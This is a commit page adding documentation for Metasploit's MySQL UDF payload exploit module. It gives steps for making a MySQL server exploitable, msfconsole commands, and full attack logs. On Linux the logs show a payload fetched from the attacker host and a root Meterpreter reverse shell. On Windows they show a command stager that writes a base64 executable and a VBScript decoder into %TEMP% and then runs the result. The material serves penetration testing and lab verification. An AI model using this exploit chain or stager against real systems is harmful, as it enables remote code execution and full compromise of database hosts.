Skip to content

Commit 9236aff

Browse files
h00dieh00die
committed
forgot to add my docs
1 parent 697031e commit 9236aff

File tree

1 file changed

+175
-0
lines changed

1 file changed

+175
-0
lines changed

‎documentation/modules/exploit/multi/mysql/mysql_udf_payload.md

Lines changed: 175 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,175 @@
1+
## Vulnerable Application
2+
3+
This vulnerability expoits mysql by adding a .so or .dll file which has a system call in it to the plugins folder.
4+
The file is then loaded by mysql, and arbitrary commands can be run. There are several caveats for this to
5+
function however, including:
6+
1. `secure_file_priv`, a mysql setting, must be changed from the default to allow writing
7+
to mysql's plugins folder
8+
2. on Ubuntu, apparmor needs a bunch of exceptions added, or to be disabled. Equivalents on other linux systems most likely need the same
9+
3. the mysql folder must be writable
10+
11+
### Linux (Ubuntu 16.04 x64) Configuration
12+
13+
In this configuration, we'll run mysql as root so we have a priv escalate.
14+
15+
1. Edit `/lib/systemd/system/mysql.service` and set `User=root`
16+
2. Edit `/etc/mysql/mysql.conf.d/mysqld.cnf`. After the `[mysqld]` section, change `user=mysql` to `user=root`
17+
3. Edit `/etc/mysql/mysql.conf.d/mysqld.cnf`. After the `[mysqld]` section, add `secure_file_priv=""`
18+
4. Disable app-armor for mysql: `sudo apparmor_parser -R /etc/apparmor.d/usr.sbin.mysqld`
19+
5. Restart mysql service: `sudo systemctl restart mysql.service`
20+
21+
If you need to make the root user accessible remotely
22+
```
23+
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED by 'password';
24+
FLUSH PRIVILEGES;
25+
```
26+
or
27+
```
28+
update user set host='%' where host='127.0.0.1';
29+
```
30+
31+
### Windows (Server 2012 x64) Configuration
32+
33+
One good reference for these instructions is [PR #5334](https://github.com/rapid7/metasploit-framework/pull/5334)
34+
35+
1. Download and install mysql installer
36+
2. Install dependencies including, at the time of writing, Visual C++ 2013 Redistributable Package.
37+
3. Edit `C:\ProgramData\MySQL\MySQL Server\MySQL Server *\my.ini` and change the value of `secure-file-priv=` to `""`
38+
4. Make the `C:\Program Files\MySQL\MySQL Server *\lib\plugin` folder permissions writable by the MySQL (service) user.
39+
40+
If you need to make the root user accessible remotely
41+
```
42+
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED by 'password';
43+
FLUSH PRIVILEGES;
44+
```
45+
or
46+
```
47+
update user set host='%' where host='127.0.0.1';
48+
```
49+
50+
## Verification Steps
51+
52+
1. Install MySQL and make it vulnerable as described above
53+
2. Start msfconsole
54+
3. Do: ```use exploit/multi/mysql/mysql_udf_payload```
55+
4. Do: ```set rhost [ip]```
56+
5. Do: ```set srvhost [ip]```
57+
6. Make sure target and payload are correct
58+
7. Set mysql login information
59+
8. Do: ```exploit```
60+
9. You should get a shell.
61+
62+
## Options
63+
64+
**FORCE_UDF_UPLOAD**
65+
66+
This option will force the uploading of a UDF dll/so file even if one exists which has a system call already
67+
68+
## Scenarios
69+
70+
### Ubuntu 16.04 with MySQL 5.7.20
71+
72+
In this case, the service has been configured as noted in the first section of this document, a remotely accessible MySQL running as root.
73+
74+
```
75+
[*] Processing udf.rc for ERB directives.
76+
resource (udf.rc)> use exploit/multi/mysql/mysql_udf_payload
77+
resource (udf.rc)> set payload linux/x86/meterpreter/reverse_tcp
78+
payload => linux/x86/meterpreter/reverse_tcp
79+
resource (udf.rc)> set lhost 1.1.1.1
80+
lhost => 1.1.1.1
81+
resource (udf.rc)> set rhost 2.2.2.2
82+
rhost => 2.2.2.2
83+
resource (udf.rc)> set srvhost 1.1.1.1
84+
srvhost => 1.1.1.1
85+
resource (udf.rc)> set srvport 64423
86+
srvport => 64423
87+
resource (udf.rc)> set password wordpress
88+
password => wordpress
89+
resource (udf.rc)> set target 1
90+
target => 1
91+
resource (udf.rc)> set verbose true
92+
verbose => true
93+
msf exploit(mysql_udf_payload) > exploit
94+
95+
[*] Started reverse TCP handler on 1.1.1.1:4444
96+
[*] 2.2.2.2:3306 - Checking target architecture...
97+
[*] 2.2.2.2:3306 - Checking for sys_exec()...
98+
[*] 2.2.2.2:3306 - sys_exec() already available, using that (override with FORCE_UDF_UPLOAD).
99+
[*] 2.2.2.2:3306 - Using URL: http://1.1.1.1:64423/YMDYyVp1fG
100+
[*] 2.2.2.2:3306 - Client 2.2.2.2 (Wget/1.17.1 (linux-gnu)) requested /YMDYyVp1fG
101+
[*] 2.2.2.2:3306 - Sending payload to 2.2.2.2 (Wget/1.17.1 (linux-gnu))
102+
[*] Transmitting intermediate stager...(106 bytes)
103+
[*] Sending stage (826872 bytes) to 2.2.2.2
104+
[*] Meterpreter session 4 opened (1.1.1.1:4444 -> 2.2.2.2:46330) at 2017-10-30 23:22:08 -0400
105+
[-] 2.2.2.2:3306 - Exploit failed: Rex::StreamClosedError Stream #<Socket:0x00561e7e1758e8> is closed.
106+
[*] 2.2.2.2:3306 - Server stopped.
107+
[*] Exploit completed, but no session was created.
108+
msf exploit(mysql_udf_payload) > sessions -i 4
109+
[*] Starting interaction with 4...
110+
111+
meterpreter > sysinfo
112+
Computer : 2.2.2.2
113+
OS : (Linux 4.4.0-98-generic)
114+
Architecture : x64
115+
Meterpreter : x86/linux
116+
meterpreter > getuid
117+
Server username: uid=0, gid=0, euid=0, egid=0
118+
```
119+
120+
### Windows Server 2012 with MySQL 5.7.20
121+
122+
```
123+
[*] Processing udf.rc for ERB directives.
124+
resource (udf.rc)> use exploit/multi/mysql/mysql_udf_payload
125+
resource (udf.rc)> set lhost 1.1.1.1
126+
lhost => 1.1.1.1
127+
resource (udf.rc)> set srvhost 1.1.1.1
128+
srvhost => 1.1.1.1
129+
resource (udf.rc)> set srvport 64423
130+
srvport => 64423
131+
resource (udf.rc)> set verbose true
132+
verbose => true
133+
msf exploit(mysql_udf_payload) > set target 0
134+
target => 0
135+
msf exploit(mysql_udf_payload) > set payload windows/meterpreter/reverse_tcp
136+
payload => windows/meterpreter/reverse_tcp
137+
msf exploit(mysql_udf_payload) > set rhost 3.3.3.3
138+
rhost => 3.3.3.3
139+
msf exploit(mysql_udf_payload) > set password mysql
140+
password => mysql
141+
msf exploit(mysql_udf_payload) > exploit
142+
143+
[*] Started reverse TCP handler on 1.1.1.1:4444
144+
[*] 3.3.3.3:3306 - Checking target architecture...
145+
[*] 3.3.3.3:3306 - Checking for sys_exec()...
146+
[*] 3.3.3.3:3306 - Checking target architecture...
147+
[*] 3.3.3.3:3306 - Checking for MySQL plugin directory...
148+
[*] 3.3.3.3:3306 - Target arch (win64) and target path both okay.
149+
[*] 3.3.3.3:3306 - Uploading lib_mysqludf_sys_64.dll library to C:/Program Files/MySQL/MySQL Server 5.7/lib/plugin/jfAzUfJP.dll...
150+
[*] 3.3.3.3:3306 - Checking for sys_exec()...
151+
[*] 3.3.3.3:3306 - Executing: echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAACTOPDW11mehddZnoXXWZ6FrEWShdNZnoVURZCF3lmehbhGlIXcWZ6FuEaahdRZnoXXWZ+FHlmehVRRw4XfWZ6Fg3quhf9ZnoUQX5iF1lmehVJpY2jXWZ6FAAAAAAAAAAAAAAAAAAAAAFBFAABMAQQAyzSjSgAAAAAAAAAA4AAPAQsBBgAAsAAAAKAAAAAAAAB2HwAAABAAAADAAAAAAEAAABAAAAAQAAAEAAAAAAAAAAQAAAAAAAAAAGABAAAQAAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAbMcAAHgAAAAAUAEAyAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAODBAAAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAADgAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAABmqQAAABAAAACwAAAAEAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAA5g8AAADAAAAAEAAAAMAAAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAAFxwAAAA0AAAAEAAAADQAAAAAAAAAAAAAAAAAABAAADALnJzcmMAAADIBwAAAFABAAAQAAAAEAEAAAAAAAAAAAAAAAAAQAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>>%TEMP%\EkEiJ.b64
152+
[*] 3.3.3.3:3306 - Command Stager progress - 1.47% done (1499/102246 bytes)
153+
```
154+
...snip...
155+
```
156+
[*] 3.3.3.3:3306 - Executing: echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>>%TEMP%\EkEiJ.b64
157+
[*] 3.3.3.3:3306 - Command Stager progress - 96.76% done (98934/102246 bytes)
158+
[*] 3.3.3.3:3306 - Executing: echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATkIxMAAAAAA2gMFKAQAAAEM6XGxvY2FsMFxhc2ZccmVsZWFzZVxidWlsZC0yLjIuMTRcc3VwcG9ydFxSZWxlYXNlXGFiLnBkYgA=>>%TEMP%\EkEiJ.b64 & echo Set fs = CreateObject("Scripting.FileSystemObject") >>%TEMP%\GTKoi.vbs & echo Set file = fs.GetFile("%TEMP%\EkEiJ.b64") >>%TEMP%\GTKoi.vbs & echo If file.Size Then >>%TEMP%\GTKoi.vbs & echo Set fd = fs.OpenTextFile("%TEMP%\EkEiJ.b64", 1) >>%TEMP%\GTKoi.vbs & echo data = fd.ReadAll >>%TEMP%\GTKoi.vbs & echo data = Replace(data, vbCrLf, "") >>%TEMP%\GTKoi.vbs & echo data = base64_decode(data) >>%TEMP%\GTKoi.vbs & echo fd.Close >>%TEMP%\GTKoi.vbs
159+
[*] 3.3.3.3:3306 - Command Stager progress - 98.19% done (100400/102246 bytes)
160+
[*] 3.3.3.3:3306 - Executing: echo Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile("%TEMP%\CVVsw.exe", 2, True) >>%TEMP%\GTKoi.vbs & echo ofs.Write data >>%TEMP%\GTKoi.vbs & echo ofs.close >>%TEMP%\GTKoi.vbs & echo Set shell = CreateObject("Wscript.Shell") >>%TEMP%\GTKoi.vbs & echo shell.run "%TEMP%\CVVsw.exe", 0, false >>%TEMP%\GTKoi.vbs & echo Else >>%TEMP%\GTKoi.vbs & echo Wscript.Echo "The file is empty." >>%TEMP%\GTKoi.vbs & echo End If >>%TEMP%\GTKoi.vbs & echo Function base64_decode(byVal strIn) >>%TEMP%\GTKoi.vbs & echo Dim w1, w2, w3, w4, n, strOut >>%TEMP%\GTKoi.vbs & echo For n = 1 To Len(strIn) Step 4 >>%TEMP%\GTKoi.vbs & echo w1 = mimedecode(Mid(strIn, n, 1)) >>%TEMP%\GTKoi.vbs & echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>%TEMP%\GTKoi.vbs & echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>%TEMP%\GTKoi.vbs & echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>%TEMP%\GTKoi.vbs & echo If Not w2 Then _ >>%TEMP%\GTKoi.vbs & echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>%TEMP%\GTKoi.vbs & echo If Not w3 Then _ >>%TEMP%\GTKoi.vbs & echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>%TEMP%\GTKoi.vbs & echo If Not w4 Then _ >>%TEMP%\GTKoi.vbs & echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>%TEMP%\GTKoi.vbs & echo Next >>%TEMP%\GTKoi.vbs & echo base64_decode = strOut >>%TEMP%\GTKoi.vbs & echo End Function >>%TEMP%\GTKoi.vbs & echo Function mimedecode(byVal strIn) >>%TEMP%\GTKoi.vbs
161+
[*] 3.3.3.3:3306 - Command Stager progress - 99.59% done (101827/102246 bytes)
162+
[*] 3.3.3.3:3306 - Executing: echo Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>%TEMP%\GTKoi.vbs & echo If Len(strIn) = 0 Then >>%TEMP%\GTKoi.vbs & echo mimedecode = -1 : Exit Function >>%TEMP%\GTKoi.vbs & echo Else >>%TEMP%\GTKoi.vbs & echo mimedecode = InStr(Base64Chars, strIn) - 1 >>%TEMP%\GTKoi.vbs & echo End If >>%TEMP%\GTKoi.vbs & echo End Function >>%TEMP%\GTKoi.vbs & cscript //nologo %TEMP%\GTKoi.vbs
163+
[*] 3.3.3.3:3306 - Command Stager progress - 100.00% done (102246/102246 bytes)
164+
[*] Sending stage (179267 bytes) to 3.3.3.3
165+
[*] Meterpreter session 5 opened (1.1.1.1:4444 -> 3.3.3.3:49165) at 2017-11-02 23:12:07 -0400
166+
167+
meterpreter > sysinfo
168+
Computer : WIN-OBKF2JFCDKL
169+
OS : Windows 2012 (Build 9200).
170+
Architecture : x64
171+
System Language : en_US
172+
Domain : WORKGROUP
173+
Logged On Users : 1
174+
Meterpreter : x86/windows
175+
```

0 commit comments

Comments
 (0)